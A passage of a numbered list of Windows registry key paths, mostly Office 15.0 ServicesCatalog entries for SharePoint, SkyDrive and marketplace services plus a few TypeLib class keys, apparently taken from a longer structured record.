  1533. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  1534. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  1535. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  1536. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
  1537. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  1538. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  1539. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  1540. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  1541. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  1542. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  1543. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  1544. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  1545. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
  1546. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
  1547. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  1548. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  1549. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  1550. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  1551. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  1552. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  1553. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
  1554. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  1555. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  1556. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  1557. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  1558. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  1559. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  1560. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  1561. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  1562. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  1563. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  1564. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  1565. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  1566. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  1567. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  1568. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  1569. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  1570. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  1571. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  1572. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  1573. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  1574. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  1575. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  1576. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1577. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  1578. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  1579. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  1580. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  1581. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  1582. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1583. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  1584. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  1585. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1586. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1587. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1588. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  1589. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  1590. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  1591. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  1592. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  1593. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
  1594. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  1595. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  1596. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  1597. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  1598. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  1599. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
  1600. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  1601. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
  1602. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  1603. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  1604. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  1605. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  1606. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  1607. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  1608. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
  1609. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  1610. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  1611. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  1612. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  1613. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  1614. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  1615. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  1616. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
  1617. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  1618. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  1619. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  1620. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  1621. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  1622. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  1623. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1624. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1625. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  1626. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  1627. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  1628. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  1629. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  1630. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  1631. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  1632. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  1633. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  1634. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  1635. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  1636. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  1637. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  1638. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  1639. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  1640. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  1641. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  1642. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  1643. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  1644. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  1645. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  1646. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
  1647. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  1648. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  1649. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  1650. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
  1651. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  1652. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  1653. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  1654. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  1655. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  1656. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  1657. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  1658. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
  1659. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  1660. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  1661. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  1662. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  1663. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  1664. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  1665. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  1666. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
  1667. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
  1668. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  1669. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
  1670. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  1671. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  1672. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  1673. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  1674. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  1675. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  1676. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  1677. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  1678. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1679. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1680. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  1681. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  1682. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  1683. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  1684. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  1685. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  1686. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  1687. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{BCC81202-E67A-4F20-B52F-684DDB48A039}",
  1688. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{BCC81202-E67A-4F20-B52F-684DDB48A039}\\2.0",
  1689. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{BCC81202-E67A-4F20-B52F-684DDB48A039}\\2.0\\(Default)",
  1690. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{BCC81202-E67A-4F20-B52F-684DDB48A039}\\2.0\\FLAGS",
  1691. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{BCC81202-E67A-4F20-B52F-684DDB48A039}\\2.0\\FLAGS\\(Default)",
  1692. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{BCC81202-E67A-4F20-B52F-684DDB48A039}\\2.0\\0",
  1693. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{BCC81202-E67A-4F20-B52F-684DDB48A039}\\2.0\\0\\win32",
